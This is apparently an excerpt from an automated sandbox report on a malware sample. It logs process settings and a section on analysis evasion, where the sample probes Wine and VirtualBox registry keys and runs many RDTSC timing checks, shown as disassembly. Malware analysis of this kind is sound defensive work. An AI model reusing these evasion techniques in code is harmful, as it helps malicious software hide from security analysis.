Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107FCB5 second address: 107FCB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107EEA3 second address: 107EEC2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD5B0DE62E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FD5B0DE62EFh 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107EEC2 second address: 107EEC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107EEC6 second address: 107EEE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62F9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081722 second address: 108179F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push edi 0x00000008 pop edi 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c ja 00007FD5B0815215h 0x00000012 nop 0x00000013 mov esi, 07434653h 0x00000018 add esi, dword ptr [ebp+122D3967h] 0x0000001e push 00000000h 0x00000020 mov dword ptr [ebp+122D2A1Bh], ecx 0x00000026 pushad 0x00000027 mov dword ptr [ebp+122D193Eh], ecx 0x0000002d jmp 00007FD5B08151F3h 0x00000032 popad 0x00000033 call 00007FD5B08151E9h 0x00000038 push edx 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108179F second address: 10817A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10817A5 second address: 10817B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10817B2 second address: 10817B8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10817B8 second address: 10817D0 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD5B08151ECh 0x00000008 jo 00007FD5B08151E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10817D0 second address: 1081872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007FD5B0DE62F0h 0x0000000c popad 0x0000000d mov eax, dword ptr [eax] 0x0000000f jmp 00007FD5B0DE62ECh 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 js 00007FD5B0DE62E8h 0x0000001f pushad 0x00000020 popad 0x00000021 pop eax 0x00000022 pop eax 0x00000023 sub dword ptr [ebp+122D26F9h], ebx 0x00000029 mov si, A014h 0x0000002d push 00000003h 0x0000002f jmp 00007FD5B0DE62EFh 0x00000034 push 00000000h 0x00000036 sub dword ptr [ebp+122D2EDAh], esi 0x0000003c push 00000003h 0x0000003e mov edx, 39DB80F2h 0x00000043 push 83E611B9h 0x00000048 jmp 00007FD5B0DE62F4h 0x0000004d xor dword ptr [esp], 43E611B9h 0x00000054 jbe 00007FD5B0DE62F2h 0x0000005a jl 00007FD5B0DE62ECh 0x00000060 lea ebx, dword ptr [ebp+1244661Eh] 0x00000066 xchg eax, ebx 0x00000067 pushad 0x00000068 pushad 0x00000069 jg 00007FD5B0DE62E6h 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081872 second address: 108188D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnc 00007FD5B08151E6h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007FD5B08151E8h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108188D second address: 1081894 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10818E5 second address: 1081946 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov si, dx 0x0000000f push 00000000h 0x00000011 jmp 00007FD5B08151F7h 0x00000016 call 00007FD5B08151E9h 0x0000001b jmp 00007FD5B08151F2h 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jnl 00007FD5B08151F5h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081946 second address: 1081950 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD5B0DE62ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081950 second address: 108197A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jo 00007FD5B08151EEh 0x00000010 jnl 00007FD5B08151E8h 0x00000016 mov eax, dword ptr [eax] 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD5B08151EEh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108197A second address: 1081984 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD5B0DE62ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081984 second address: 10819A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD5B08151F1h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10819A2 second address: 1081A0E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 or edi, dword ptr [ebp+122D379Fh] 0x0000000e push 00000003h 0x00000010 mov esi, ecx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007FD5B0DE62E8h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e push 00000003h 0x00000030 push 00000000h 0x00000032 push ebx 0x00000033 call 00007FD5B0DE62E8h 0x00000038 pop ebx 0x00000039 mov dword ptr [esp+04h], ebx 0x0000003d add dword ptr [esp+04h], 0000001Dh 0x00000045 inc ebx 0x00000046 push ebx 0x00000047 ret 0x00000048 pop ebx 0x00000049 ret 0x0000004a mov edx, 06876743h 0x0000004f push 49B64000h 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081A0E second address: 1081A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081A15 second address: 1081A50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 7649C000h 0x00000010 add esi, 3154D85Dh 0x00000016 lea ebx, dword ptr [ebp+12446627h] 0x0000001c mov ecx, dword ptr [ebp+122D3A0Fh] 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081BEE second address: 1081BF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F6E0 second address: 109F730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5B0DE62F8h 0x00000009 pushad 0x0000000a je 00007FD5B0DE62E6h 0x00000010 jmp 00007FD5B0DE62F6h 0x00000015 push esi 0x00000016 pop esi 0x00000017 popad 0x00000018 jmp 00007FD5B0DE62ECh 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F730 second address: 109F736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F736 second address: 109F73C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F73C second address: 109F745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F745 second address: 109F762 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F762 second address: 109F76E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FD5B08151E6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109FA2B second address: 109FA2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109FA2F second address: 109FA7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5B08151F2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FD5B08151EEh 0x00000010 jnl 00007FD5B0815200h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109FA7E second address: 109FA88 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD5B0DE62E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109FA88 second address: 109FA99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jnc 00007FD5B08151E6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109FA99 second address: 109FA9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109FA9E second address: 109FAAC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD5B08151E8h 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109FF43 second address: 109FF4B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109FF4B second address: 109FF5B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FD5B08151EBh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A00D3 second address: 10A00DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A00DE second address: 10A00FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007FD5B08151EEh 0x00000014 pushad 0x00000015 popad 0x00000016 jc 00007FD5B08151E6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A02A7 second address: 10A02D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5B0DE62F9h 0x00000009 jmp 00007FD5B0DE62F5h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A0769 second address: 10A0779 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FD5B08151EAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A0779 second address: 10A0780 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A0780 second address: 10A0790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jl 00007FD5B08151EEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A0790 second address: 10A079B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push esi 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A0B61 second address: 10A0BC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FD5B08151ECh 0x0000000d popad 0x0000000e jmp 00007FD5B08151F6h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD5B08151F8h 0x0000001b jno 00007FD5B0815201h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A1448 second address: 10A144C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A553C second address: 10A5546 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FD5B08151E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6978 second address: 10A6982 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD5B0DE62ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AE7E9 second address: 10AE82A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FD5B08151F5h 0x0000000c jl 00007FD5B0815201h 0x00000012 jmp 00007FD5B08151F9h 0x00000017 push edx 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AE82A second address: 10AE82E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AE82E second address: 10AE832 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AE832 second address: 10AE838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AEAFE second address: 10AEB1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jmp 00007FD5B08151EBh 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jno 00007FD5B08151E6h 0x00000016 pushad 0x00000017 popad 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AEDBF second address: 10AEDEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62F9h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FD5B0DE62F1h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AEDEF second address: 10AEE13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5B08151F5h 0x00000009 jmp 00007FD5B08151EBh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AEE13 second address: 10AEE3A instructions: 0x00000000 rdtsc 0x00000002 js 00007FD5B0DE62E6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007FD5B0DE62E6h 0x00000014 jmp 00007FD5B0DE62F3h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AEE3A second address: 10AEE3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
